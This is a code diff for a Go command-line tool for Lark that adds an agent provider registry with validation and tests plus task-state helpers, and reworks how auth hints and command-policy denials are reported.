+// (exported so adapter packages like example can call it across packages).
+// Missing / invalid metadata is an integrator coding error and panics fail-fast
+// (including duplicate registration, aligned with the sql.Register convention).
+// At registration time it also constructs a Provider once via a zero-value Deps
+// probe: Factory must accept zero-value Deps (returning an error panics), and a
+// KindCatalog instance must implement Discoverer.
+func Register(scheme string, info ProviderInfo) {
+	if scheme == "" {
+		panic("agent: provider registration with empty scheme")
+	}
+	if _, dup := providerRegistry[scheme]; dup {
+		panic("agent: Register called twice for scheme: " + scheme)
+	}
+	switch {
+	case info.Factory == nil:
+		panic("agent: provider registration missing Factory: " + scheme)
+	case info.Label == "":
+		panic("agent: provider registration missing Label: " + scheme)
+	case info.AgentRefFormat == "":
+		panic("agent: provider registration missing AgentRefFormat: " + scheme)
+	case !strings.HasPrefix(info.AgentRefFormat, scheme+":"):
+		panic("agent: provider registration AgentRefFormat must start with \"" + scheme + ":\": " + scheme + ", got: " + info.AgentRefFormat)
+	case info.AgentIDSource == "":
+		panic("agent: provider registration missing AgentIDSource: " + scheme)
+	case info.Kind != KindCatalog && info.Kind != KindInstance:
+		panic("agent: provider registration invalid Kind (want catalog|instance): " + scheme + ", got: " + string(info.Kind))
+	case len(info.Identities) == 0:
+		panic("agent: provider registration missing Identities: " + scheme)
+	}
+	for _, id := range info.Identities {
+		if id.Type != IdentityUser && id.Type != IdentityBot {
+			panic("agent: provider registration invalid Identity Type (want user|bot): " + scheme + ", got: " + string(id.Type))
+		}
+	}
+	// Zero-value Deps construction probe: turns the Factory contract (see the
+	// ProviderInfo.Factory comment) from a pure convention into a
+	// registration-time enforcement, preventing capabilities from silently
+	// disappearing on the agent list probing path.
+	p, err := info.Factory(Deps{}, "")
+	if err != nil {
+		panic("agent: provider factory must accept zero-value Deps: " + scheme + ", got error: " + err.Error())
+	}
+	if p == nil {
+		panic("agent: provider factory returned nil Provider: " + scheme)
+	}
+	// Core capabilities are mandatory for every provider — a provider you cannot
+	// send to or read a task back from is not usable. The command layer relies on
+	// these never being nil (no nil-check before dispatch), so enforce it here.
+	switch {
+	case p.Send == nil:
+		panic("agent: provider missing core Send: " + scheme)
+	case p.GetTask == nil:
+		panic("agent: provider missing core GetTask: " + scheme)
+	}
+	// A catalog provider's full agent set is known offline, so it must be
+	// enumerable (wire ListAgents); an instance provider need not be.
+	if info.Kind == KindCatalog && p.ListAgents == nil {
+		panic("agent: catalog provider must wire ListAgents: " + scheme)
+	}
+	providerRegistry[scheme] = info
+}
+
+// Info returns the registration value for a scheme (the struct is returned by
+// value, but its slice fields share the underlying array with the registry, so
+// the caller must treat them as read-only); returns ok=false if not registered.
+func Info(scheme string) (ProviderInfo, bool) {
+	info, ok := providerRegistry[scheme]
+	return info, ok
+}
+
+// providerFor fetches the factory for a scheme and constructs a Provider. An
+// unknown scheme returns an error listing the available options.
+func providerFor(scheme, agentID string, deps Deps) (*Provider, error) {
+	info, ok := providerRegistry[scheme]
+	if !ok {
+		return nil, fmt.Errorf("未知的 agent provider '%s'，当前支持: %s", scheme, KnownSchemes())
+	}
+	return info.Factory(deps, agentID)
+}
+
+// KnownSchemes returns a comma-separated list of registered schemes (stably
+// sorted), or "(none)" when empty (exported: cmd/agent's unknown-scheme message
+// reuses the same implementation to avoid double-sourcing).
+func KnownSchemes() string {
+	s := RegisteredSchemes()
+	if len(s) == 0 {
+		return "(none)"
+	}
+	return strings.Join(s, ", ")
+}
+
+// Resolve parses a ref and constructs the corresponding Provider (command-layer entry point).
+func Resolve(ref string, deps Deps) (*Provider, error) {
+	r, err := ParseRef(ref)
+	if err != nil {
+		return nil, err
+	}
+	return providerFor(r.Scheme, r.AgentID, deps)
+}
+
+// RegisteredSchemes lets `agent list` enumerate registered providers (exported for cmd/agent).
+func RegisteredSchemes() []string {
+	s := make([]string, 0, len(providerRegistry))
+	for k := range providerRegistry {
+		s = append(s, k)
+	}
+	sort.Strings(s)
+	return s
+}

internal/agent/registry_test.go

@@ -0,0 +1,275 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"context"
+	"errors"
+	"reflect"
+	"strings"
+	"testing"
+)
+
+// swapRegistry replaces the global providerRegistry with the given map (restored
+// automatically via t.Cleanup), for test isolation. It swaps the global variable
+// without a lock, so callers must not use t.Parallel.
+func swapRegistry(t *testing.T, m map[string]ProviderInfo) {
+	t.Helper()
+	saved := providerRegistry
+	providerRegistry = m
+	t.Cleanup(func() { providerRegistry = saved })
+}
+
+// okProvider is a minimal valid provider: it wires the two mandatory core fields
+// (Send/GetTask) so it passes Register's zero-Deps probe. Tests that need extra
+// capabilities set the fields on the returned struct.
+func okProvider() *Provider {
+	return &Provider{
+		Send:    func(context.Context, SendInput) (*AgentTask, error) { return nil, nil },
+		GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil },
+	}
+}
+
+// okFactory returns a Factory yielding okProvider — the default for cases that
+// only care about metadata/registry behavior, not capabilities.
+func okFactory() Factory {
+	return func(Deps, string) (*Provider, error) { return okProvider(), nil }
+}
+
+// testInfo builds a minimal ProviderInfo that passes Register validation
+// (AgentRefFormat is generated from the scheme so it satisfies the prefix check),
+// reused by cases that only care about the Factory.
+func testInfo(scheme string, f Factory) ProviderInfo {
+	return ProviderInfo{
+		Factory:        f,
+		Label:          "test provider",
+		AgentRefFormat: scheme + ":<agent_id>",
+		AgentIDSource:  "test source",
+		Kind:           KindInstance,
+		Identities:     []IdentitySpec{{Type: IdentityUser}},
+	}
+}
+
+// mustPanic asserts that fn panics and the message contains wantMsg.
+func mustPanic(t *testing.T, wantMsg string, fn func()) {
+	t.Helper()
+	defer func() {
+		r := recover()
+		if r == nil {
+			t.Fatalf("should panic (want message containing %q)", wantMsg)
+		}
+		msg, _ := r.(string)
+		if !strings.Contains(msg, wantMsg) {
+			t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
+		}
+	}()
+	fn()
+}
+
+// TestRegisterPanicBranches table-drives the Register fail-fast panic branches
+// on metadata fields: missing Factory / Label / AgentRefFormat / AgentIDSource /
+// Identities, an invalid Kind, an invalid Identity Type, and an AgentRefFormat
+// that does not start with "<scheme>:" (panic messages must carry the actual
+// offending value). Metadata validation runs before the probe, so a valid
+// okFactory keeps the probe from firing first.
+func TestRegisterPanicBranches(t *testing.T) {
+	cases := []struct {
+		name    string
+		mutate  func(info *ProviderInfo)
+		wantMsg string
+	}{
+		{"missing Factory", func(info *ProviderInfo) { info.Factory = nil }, "missing Factory"},
+		{"missing Label", func(info *ProviderInfo) { info.Label = "" }, "missing Label"},
+		{"missing AgentRefFormat", func(info *ProviderInfo) { info.AgentRefFormat = "" }, "missing AgentRefFormat"},
+		{"missing AgentIDSource", func(info *ProviderInfo) { info.AgentIDSource = "" }, "missing AgentIDSource"},
+		{"invalid Kind", func(info *ProviderInfo) { info.Kind = "weird" }, "got: weird"},
+		{"missing Identities", func(info *ProviderInfo) { info.Identities = nil }, "missing Identities"},
+		{"invalid Identity Type", func(info *ProviderInfo) {
+			info.Identities = []IdentitySpec{{Type: "robot"}}
+		}, "got: robot"},
+		{"AgentRefFormat wrong prefix", func(info *ProviderInfo) {
+			info.AgentRefFormat = "other:<agent_id>"
+		}, "must start with \"bad:\""},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			swapRegistry(t, map[string]ProviderInfo{})
+			info := testInfo("bad", okFactory())
+			tc.mutate(&info)
+			mustPanic(t, tc.wantMsg, func() { Register("bad", info) })
+		})
+	}
+}
+
+// TestRegisterEmptyScheme pins the empty-scheme fail-fast branch.
+func TestRegisterEmptyScheme(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	mustPanic(t, "empty scheme", func() { Register("", testInfo("", okFactory())) })
+}
+
+// TestRegisterDuplicateScheme pins the sql.Register-style dup panic.
+func TestRegisterDuplicateScheme(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	Register("dup", testInfo("dup", okFactory()))
+	mustPanic(t, "called twice for scheme: dup", func() { Register("dup", testInfo("dup", okFactory())) })
+}
+
+// TestRegisterFactoryZeroDepsProbe pins the registration-time zero-Deps probe:
+// a factory erroring under zero-value Deps is a contract violation and panics.
+func TestRegisterFactoryZeroDepsProbe(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	bad := func(Deps, string) (*Provider, error) { return nil, errors.New("need client") }
+	mustPanic(t, "must accept zero-value Deps", func() { Register("zd", testInfo("zd", bad)) })
+}
+
+// TestRegisterNilProvider pins the probe's nil-Provider branch.
+func TestRegisterNilProvider(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	nilP := func(Deps, string) (*Provider, error) { return nil, nil }
+	mustPanic(t, "returned nil Provider", func() { Register("np", testInfo("np", nilP)) })
+}
+
+// TestRegisterMissingCore pins that the mandatory core fields are enforced at
+// registration: a provider missing Send or GetTask panics fail-fast.
+func TestRegisterMissingCore(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	noSend := func(Deps, string) (*Provider, error) {
+		return &Provider{GetTask: func(context.Context, string) (*AgentTask, error) { return nil, nil }}, nil
+	}
+	mustPanic(t, "missing core Send", func() { Register("ns", testInfo("ns", noSend)) })
+
+	swapRegistry(t, map[string]ProviderInfo{})
+	noGet := func(Deps, string) (*Provider, error) {
+		return &Provider{Send: func(context.Context, SendInput) (*AgentTask, error) { return nil, nil }}, nil
+	}
+	mustPanic(t, "missing core GetTask", func() { Register("ng", testInfo("ng", noGet)) })
+}
+
+// TestRegisterCatalogRequiresListAgents pins the catalog-archetype MUST:
+// a KindCatalog provider whose probe instance does not wire ListAgents panics.
+// The factory wires the core fields so the panic is specifically about ListAgents
+// (not a missing-core panic firing first).
+func TestRegisterCatalogRequiresListAgents(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	info := testInfo("cat", okFactory()) // okProvider wires Send/GetTask but not ListAgents
+	info.Kind = KindCatalog
+	mustPanic(t, "must wire ListAgents", func() { Register("cat", info) })
+}
+
+func TestInfoReturnsRegisteredMetadata(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	Register("t1", ProviderInfo{
+		Factory:        okFactory(),
+		Label:          "测试 provider",
+		AgentRefFormat: "t1:<agent_id>",
+		AgentIDSource:  "在 T1 控制台获取",
+		Kind:           KindInstance,
+		RequiredScopes: []string{"t1:chat:write"},
+		Identities:     []IdentitySpec{{Type: IdentityUser}},
+	})
+	info, ok := Info("t1")
+	if !ok || info.Label != "测试 provider" || info.Kind != KindInstance {
+		t.Fatalf("Info(t1) = %+v, %v", info, ok)
+	}
+	if _, ok := Info("nonexistent"); ok {
+		t.Fatal("Info(nonexistent) should return ok=false")
+	}
+}
+
+func TestRegistryUnknownScheme(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	// unknown scheme: the factory is never called, so deps value is irrelevant; use zero-value Deps{}.
+	_, err := providerFor("nosuch", "agt_x", Deps{})
+	if err == nil {
+		t.Fatal("unknown scheme should return an error")
+	}
+}
+
+func TestRegistryKnownScheme(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	// The factory passes the zero-value Deps probe (empty agentID → a valid
+	// provider) and only errors on a real construction, staying compatible with
+	// the registration-time probe.
+	Register("stub", testInfo("stub", func(f Deps, agentID string) (*Provider, error) {
+		if agentID == "" {
+			return okProvider(), nil
+		}
+		return nil, errors.New("stub called")
+	}))
+	_, err := providerFor("stub", "agt_x", Deps{})
+	if err == nil || err.Error() != "stub called" {
+		t.Fatalf("should reach the stub factory, got %v", err)
+	}
+}
+
+func TestKnownSchemesEmpty(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	if got := KnownSchemes(); got != "(none)" {
+		t.Fatalf("an empty registry should return \"(none)\", got %q", got)
+	}
+}
+
+func TestRegisteredSchemesSorted(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	// Register out of order to verify enumeration + sort stability.
+	Register("gamma", testInfo("gamma", okFactory()))
+	Register("alpha", testInfo("alpha", okFactory()))
+	Register("beta", testInfo("beta", okFactory()))
+	got := RegisteredSchemes()
+	want := []string{"alpha", "beta", "gamma"}
+	if !reflect.DeepEqual(got, want) {
+		t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
+	}
+	// knownSchemes reuses RegisteredSchemes; verify the comma joining.
+	if s := KnownSchemes(); s != "alpha, beta, gamma" {
+		t.Fatalf("knownSchemes should be comma-joined, got %q", s)
+	}
+}
+
+func TestResolveInvalidRef(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	// Missing the <scheme>:<agent_id> separator, so ParseRef errors and Resolve propagates it as-is.
+	_, err := Resolve("no-colon", Deps{})
+	if !errors.Is(err, ErrInvalidRef) {
+		t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
+	}
+}
+
+func TestResolveUnknownScheme(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	// The ref is valid but the scheme is unregistered, so the error comes from providerFor.
+	_, err := Resolve("nosuch:agt_x", Deps{})
+	if err == nil {
+		t.Fatal("an unregistered scheme should return an error")
+	}
+	if errors.Is(err, ErrInvalidRef) {
+		t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
+	}
+}
+
+func TestResolveSuccess(t *testing.T) {
+	swapRegistry(t, map[string]ProviderInfo{})
+	sentinel := okProvider()
+	var gotDeps Deps
+	var gotAgentID string
+	Register("demo", testInfo("demo", func(deps Deps, agentID string) (*Provider, error) {
+		gotDeps = deps
+		gotAgentID = agentID
+		return sentinel, nil
+	}))
+	deps := Deps{}
+	p, err := Resolve("demo:agt_42", deps)
+	if err != nil {
+		t.Fatalf("a valid ref + registered scheme should succeed, got %v", err)
+	}
+	if p != sentinel {
+		t.Fatalf("should return the Provider built by the factory, got %v", p)
+	}
+	if gotAgentID != "agt_42" {
+		t.Fatalf("factory should receive the parsed agentID, got %q", gotAgentID)
+	}
+	if gotDeps != deps {
+		t.Fatalf("factory should receive the passed-in Deps, got %+v", gotDeps)
+	}
+}

internal/agent/spi.go

@@ -0,0 +1,26 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+// IdentityType is the closed set of values for IdentitySpec.Type (validated at
+// Register time to guard against typos).
+type IdentityType string
+
+const (
+	IdentityUser IdentityType = "user"
+	IdentityBot  IdentityType = "bot"
+)
+
+// IdentitySpec declares a supported identity and its precondition, if any.
+type IdentitySpec struct {
+	Type         IdentityType `json:"type"` // IdentityUser | IdentityBot
+	Precondition string       `json:"precondition,omitempty"`
+}
+
+// AgentSummary is one discoverable agent in `agent list <scheme>` output.
+type AgentSummary struct {
+	AgentRef    string `json:"agent_ref"`
+	Name        string `json:"name"`
+	Description string `json:"description,omitempty"`
+}

internal/agent/state.go

@@ -0,0 +1,35 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+// TaskState is the A2A task state, constant across all providers (9 states).
+type TaskState string
+
+const (
+	StateSubmitted     TaskState = "submitted"
+	StateWorking       TaskState = "working"
+	StateInputRequired TaskState = "input_required"
+	StateAuthRequired  TaskState = "auth_required"
+	StateCompleted     TaskState = "completed"
+	StateFailed        TaskState = "failed"
+	StateCanceled      TaskState = "canceled"
+	StateRejected      TaskState = "rejected"
+	StateUnknown       TaskState = "unknown"
+)
+
+// IsTerminal reports whether the task has entered a terminal state.
+func (s TaskState) IsTerminal() bool {
+	switch s {
+	case StateCompleted, StateFailed, StateCanceled, StateRejected:
+		return true
+	default:
+		return false
+	}
+}
+
+// ShouldStopPolling reports whether polling should stop: terminal state, or
+// awaiting additional input / re-authentication.
+func (s TaskState) ShouldStopPolling() bool {
+	return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
+}

internal/agent/state_test.go

@@ -0,0 +1,34 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import "testing"
+
+func TestIsTerminal(t *testing.T) {
+	cases := map[TaskState]bool{
+		StateSubmitted: false, StateWorking: false, StateInputRequired: false,
+		StateAuthRequired: false, StateCompleted: true, StateFailed: true,
+		StateCanceled: true, StateRejected: true, StateUnknown: false,
+	}
+	for s, want := range cases {
+		if got := s.IsTerminal(); got != want {
+			t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
+		}
+	}
+}
+
+func TestShouldStopPolling(t *testing.T) {
+	stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
+	cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
+	for _, s := range stop {
+		if !s.ShouldStopPolling() {
+			t.Errorf("%s should stop polling", s)
+		}
+	}
+	for _, s := range cont {
+		if s.ShouldStopPolling() {
+			t.Errorf("%s should keep polling", s)
+		}
+	}
+}

internal/auth/errors.go

@@ -9,7 +9,6 @@ import (
 
 	"github.com/larksuite/cli/errs"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/policystate"
 )
 
 const (
@@ -42,15 +41,11 @@ func (e *NeedAuthorizationError) Error() string {
 // legacy *NeedAuthorizationError sentinel is preserved in the Cause chain for
 // errors.As / errors.Is traversal.
 func NewNeedUserAuthorizationError(userOpenID string) *errs.AuthenticationError {
-	e := errs.NewAuthenticationError(errs.SubtypeTokenMissing,
+	return errs.NewAuthenticationError(errs.SubtypeTokenMissing,
 		"%s (user: %s)", needUserAuthorizationMarker, userOpenID).
 		WithUserOpenID(userOpenID).
+		WithHint("run: lark-cli auth login to re-authorize").
 		WithCause(&NeedAuthorizationError{UserOpenId: userOpenID})
-	// No recovery hint when the auth domain is absent from this build.
-	if !policystate.DomainDeniedByPlugin("auth") {
-		e = e.WithHint("run: lark-cli auth login to re-authorize")
-	}
-	return e
 }
 
 // IsNeedUserAuthorizationError reports whether err represents a missing-UAT

internal/auth/hint_gate_test.go

@@ -1,28 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package auth
-
-import (
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/internal/policystate"
-)
-
-// The auth-login recovery hint points into the auth domain; when an
-// integrator plugin denied that whole domain the hint would be a dead
-// end, so it stays off the error.
-func TestNeedUserAuthorization_hintFollowsAuthDomain(t *testing.T) {
-	t.Cleanup(policystate.ResetForTesting)
-
-	policystate.SetPluginDeniedDomains(nil)
-	if e := NewNeedUserAuthorizationError("ou_x"); !strings.Contains(e.Hint, "auth login") {
-		t.Errorf("default build must keep the auth login hint, got %q", e.Hint)
-	}
-
-	policystate.SetPluginDeniedDomains(map[string]bool{"auth": true})
-	if e := NewNeedUserAuthorizationError("ou_x"); e.Hint != "" {
-		t.Errorf("auth-denied build must not steer to auth login, got %q", e.Hint)
-	}
-}

internal/client/client.go

@@ -23,7 +23,6 @@ import (
 	"github.com/larksuite/cli/internal/credential"
 	"github.com/larksuite/cli/internal/errclass"
 	"github.com/larksuite/cli/internal/output"
-	"github.com/larksuite/cli/internal/policystate"
 	"github.com/larksuite/cli/internal/util"
 )
 
@@ -72,14 +71,10 @@ func (c *APIClient) resolveAccessToken(ctx context.Context, as core.Identity) (s
 // for the defensive empty-token branch) and is preserved for errors.Is /
 // errors.Unwrap traversal without being serialized on the wire.
 func newTokenMissingError(as core.Identity, cause error) error {
-	e := errs.NewAuthenticationError(errs.SubtypeTokenMissing,
+	return errs.NewAuthenticationError(errs.SubtypeTokenMissing,
 		"no access token available for %s", as).
+		WithHint("run: lark-cli auth login to re-authorize").
 		WithCause(cause)
-	// No recovery hint when the auth domain is absent from this build.
-	if !policystate.DomainDeniedByPlugin("auth") {
-		e = e.WithHint("run: lark-cli auth login to re-authorize")
-	}
-	return e
 }
 
 // buildApiReq converts a RawApiRequest into SDK types and collects

internal/client/hint_gate_test.go

@@ -1,31 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package client
-
-import (
-	"errors"
-	"strings"
-	"testing"
-
-	"github.com/larksuite/cli/errs"
-	"github.com/larksuite/cli/internal/core"
-	"github.com/larksuite/cli/internal/policystate"
-)
-
-// Same gate as internal/auth: the token-missing recovery hint points into
-// the auth domain and stays off the error when a plugin denied it.
-func TestTokenMissing_hintFollowsAuthDomain(t *testing.T) {
-	t.Cleanup(policystate.ResetForTesting)
-
-	policystate.SetPluginDeniedDomains(nil)
-	var ae *errs.AuthenticationError
-	if err := newTokenMissingError(core.AsUser, nil); !errors.As(err, &ae) || !strings.Contains(ae.Hint, "auth login") {
-		t.Errorf("default build must keep the auth login hint, got %v", err)
-	}
-
-	policystate.SetPluginDeniedDomains(map[string]bool{"auth": true})
-	if err := newTokenMissingError(core.AsUser, nil); !errors.As(err, &ae) || ae.Hint != "" {
-		t.Errorf("auth-denied build must not steer to auth login, got %v", err)
-	}
-}

internal/cmdmeta/meta.go

@@ -2,11 +2,9 @@
 // SPDX-License-Identifier: MIT
 
 // Package cmdmeta is the single source of truth for command metadata that the
-// policy engine, the hook selector, and help rendering consume. It wraps the
-// existing cmdutil annotations (risk_level, supportedIdentities) and adds the
-// "domain" axis that the hook selector and Rule path globs need, plus the
-// affordance ref (service, method id) that lets service-method and shortcut
-// help share one usage-guidance lookup path.
+// policy engine and the hook selector both consume. It wraps the existing
+// cmdutil annotations (risk_level, supportedIdentities) and adds the
+// "domain" axis that the hook selector and Rule path globs need.
 //
 // Three axes:
 //
@@ -53,12 +51,6 @@ const (
 
 	sourceAnnotationKey    = "cmdmeta.source"
 	generatedAnnotationKey = "cmdmeta.generated"
-
-	// affordance{Service,Method}Key locate the command's usage-guidance overlay
-	// entry (see internal/affordance). Both service-method commands and
-	// +-prefixed shortcuts set these so help rendering shares one lookup path.
-	affordanceServiceKey = "cmdmeta.affordance.service"
-	affordanceMethodKey  = "cmdmeta.affordance.method"
 )
 
 // Meta groups the three command-level metadata axes consumed by the policy
@@ -133,35 +125,6 @@ func SetSource(cmd *cobra.Command, source Source, generated bool) {
 	}
 }
 
-// SetAffordanceRef records which affordance overlay entry (service, method id)
-// a command maps to, so help rendering can look up its usage guidance. Stored
-// on the command itself (no inheritance): each method / shortcut owns its ref.
-// A no-op if either coordinate is empty.
-func SetAffordanceRef(cmd *cobra.Command, service, method string) {
-	if service == "" || method == "" {
-		return
-	}
-	if cmd.Annotations == nil {
-		cmd.Annotations = map[string]string{}
-	}
-	cmd.Annotations[affordanceServiceKey] = service
-	cmd.Annotations[affordanceMethodKey] = method
-}
-
-// AffordanceRef returns the command's own affordance overlay coordinates.
-// ok is false when the command carries no ref.
-func AffordanceRef(cmd *cobra.Command) (service, method string, ok bool) {
-	if cmd.Annotations == nil {
-		return "", "", false
-	}
-	service = cmd.Annotations[affordanceServiceKey]
-	method = cmd.Annotations[affordanceMethodKey]
-	if service == "" || method == "" {
-		return "", "", false
-	}
-	return service, method, true
-}
-
 // Domain returns the nearest-ancestor domain for the command. Empty string
 // when no ancestor has the annotation -- this is the "unknown" state the
 // policy engine must treat as ALLOW.

internal/cmdpolicy/active.go

@@ -23,9 +23,6 @@ type ActivePolicy struct {
 	Rules       []*platform.Rule
 	Source      ResolveSource
 	DeniedPaths int // number of commands the engine marked as denied (post-aggregation)
-
-	// DeniedByPath is the full post-aggregation denial map.
-	DeniedByPath map[string]Denial
 }
 
 var (
@@ -84,12 +81,6 @@ func cloneActivePolicy(in *ActivePolicy) *ActivePolicy {
 			cp.Rules[i] = &rule
 		}
 	}
-	if in.DeniedByPath != nil {
-		cp.DeniedByPath = make(map[string]Denial, len(in.DeniedByPath))
-		for k, v := range in.DeniedByPath {
-			cp.DeniedByPath[k] = v
-		}
-	}
 	return &cp
 }
 

internal/cmdpolicy/aggregation_test.go

@@ -70,7 +70,7 @@ func TestBuildDeniedByPath_parentAggregationAllChildrenDenied(t *testing.T) {
 	}
 
 	denied := cmdpolicy.BuildDeniedByPath(root, decisions,
-		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML, Name: "/policy.yml"}, "agent", "")
+		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML, Name: "/policy.yml"}, "agent")
 
 	// Both leaves denied.
 	if _, ok := denied["im/+send"]; !ok {
@@ -110,7 +110,7 @@ func TestBuildDeniedByPath_partialDenialKeepsParent(t *testing.T) {
 		Deny:  []string{"docs/+delete"},
 	})
 	denied := cmdpolicy.BuildDeniedByPath(root, e.EvaluateAll(root),
-		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourcePlugin, Name: "secaudit"}, "secaudit-policy", "")
+		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourcePlugin, Name: "secaudit"}, "secaudit-policy")
 
 	if _, ok := denied["docs"]; ok {
 		t.Errorf("parent 'docs' must NOT be denied when some children are allowed")
@@ -129,7 +129,7 @@ func TestBuildDeniedByPath_rootNeverDenied(t *testing.T) {
 	root := buildTree()
 	e := cmdpolicy.New(&platform.Rule{Allow: []string{"nonexistent/**"}})
 	denied := cmdpolicy.BuildDeniedByPath(root, e.EvaluateAll(root),
-		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML, Name: "/p.yml"}, "", "")
+		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML, Name: "/p.yml"}, "")
 
 	// Every leaf should be denied. We do not assert on the root entry
 	// because Apply skips the root regardless; the contract is "root
@@ -156,7 +156,7 @@ func TestBuildDeniedByPath_hybridParentOwnAllowedKeepsAlive(t *testing.T) {
 		Allow: []string{"docs"},
 	})
 	denied := cmdpolicy.BuildDeniedByPath(root, e.EvaluateAll(root),
-		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML, Name: ""}, "", "")
+		cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML, Name: ""}, "")
 
 	// docs/+delete denied (path doesn't match Allow=["docs"]).
 	if _, ok := denied["docs/+delete"]; !ok {
@@ -170,13 +170,13 @@ func TestBuildDeniedByPath_hybridParentOwnAllowedKeepsAlive(t *testing.T) {
 
 // Apply returns a typed *errs.ValidationError that exposes BOTH paths
 // consumers rely on:
-//  1. cmd/root.go's envelope writer (errs.ProblemOf; plugin-source
-//     denials use subtype command_unavailable + exit code 2)
+//  1. cmd/root.go's envelope writer (errs.ProblemOf / failed_precondition
+//     subtype + exit code 2)
 //  2. in-process consumers extracting the platform.CommandDeniedError as
 //     the typed error's Cause via errors.As
 //
-// Plugin-source denials keep the policy metadata OFF the wire (no hint,
-// no source / rule vocabulary); it stays reachable on the Cause only.
+// The policy metadata (layer / policy_source / rule_name / reason_code)
+// is folded into the Hint text rather than a separate detail map.
 func TestApply_runEReturnsExitErrorAndCommandDeniedError(t *testing.T) {
 	root := buildTree()
 	denied := map[string]cmdpolicy.Denial{
@@ -196,31 +196,29 @@ func TestApply_runEReturnsExitErrorAndCommandDeniedError(t *testing.T) {
 		t.Fatalf("denied command should return error")
 	}
 
-	// Path 1: typed-envelope view. A plugin-source denial presents as
-	// "command unavailable": the capability is absent from this build, so
-	// the envelope carries no policy metadata and no recovery hint.
+	// Path 1: typed-envelope view. The denial is a failed_precondition
+	// ValidationError so cmd/root.go renders the structured envelope and
+	// the process exits 2 (ExitValidation).
 	var ve *errs.ValidationError
 	if !errors.As(err, &ve) {
 		t.Fatalf("error chain must contain *errs.ValidationError, got %T", err)
 	}
-	if ve.Subtype != errs.SubtypeCommandUnavailable {
-		t.Errorf("subtype = %q, want %q", ve.Subtype, errs.SubtypeCommandUnavailable)
+	if ve.Subtype != errs.SubtypeFailedPrecondition {
+		t.Errorf("subtype = %q, want %q", ve.Subtype, errs.SubtypeFailedPrecondition)
 	}
 	if code := output.ExitCodeOf(err); code != output.ExitValidation {
 		t.Errorf("exit code = %d, want ExitValidation (%d)", code, output.ExitValidation)
 	}
-	if ve.Message != cmdpolicy.DefaultUnavailableMessage {
-		t.Errorf("message = %q, want default unavailable message", ve.Message)
+	// The policy metadata is folded into the Hint text: reason_code,
+	// policy_source, and rule_name must all be discoverable there.
+	if !strings.Contains(ve.Hint, "write_not_allowed") {
+		t.Errorf("hint must carry reason_code write_not_allowed, got %q", ve.Hint)
 	}
-	// No hint, no policy vocabulary: the wire must not steer the caller
-	// toward a policy the integrator locked into the build.
-	if ve.Hint != "" {
-		t.Errorf("plugin-source denial must carry no hint, got %q", ve.Hint)
+	if !strings.Contains(ve.Hint, "plugin:secaudit") {
+		t.Errorf("hint must carry policy_source plugin:secaudit, got %q", ve.Hint)
 	}
-	for _, leak := range []string{"policy", "plugin:secaudit", "secaudit-policy", "write_not_allowed"} {
-		if strings.Contains(ve.Message, leak) {
-			t.Errorf("message leaks %q: %q", leak, ve.Message)
-		}
+	if !strings.Contains(ve.Hint, "secaudit-policy") {
+		t.Errorf("hint must carry rule_name secaudit-policy, got %q", ve.Hint)
 	}
 
 	// Path 2: in-process typed-error view -- the *platform.CommandDeniedError
@@ -303,7 +301,7 @@ func TestHasRunnableDescendant_ignoresAnnotatedPureGroup(t *testing.T) {
 
 	e := cmdpolicy.New(&platform.Rule{MaxRisk: "read"})
 	decisions := e.EvaluateAll(root)
-	denied := cmdpolicy.BuildDeniedByPath(root, decisions, cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML}, "", "")
+	denied := cmdpolicy.BuildDeniedByPath(root, decisions, cmdpolicy.ResolveSource{Kind: cmdpolicy.SourceYAML}, "")
 
 	if _, ok := denied["docs"]; !ok {
 		t.Fatalf("docs should be aggregated as fully denied (pure-group children excluded from live count); map=%+v", denied)
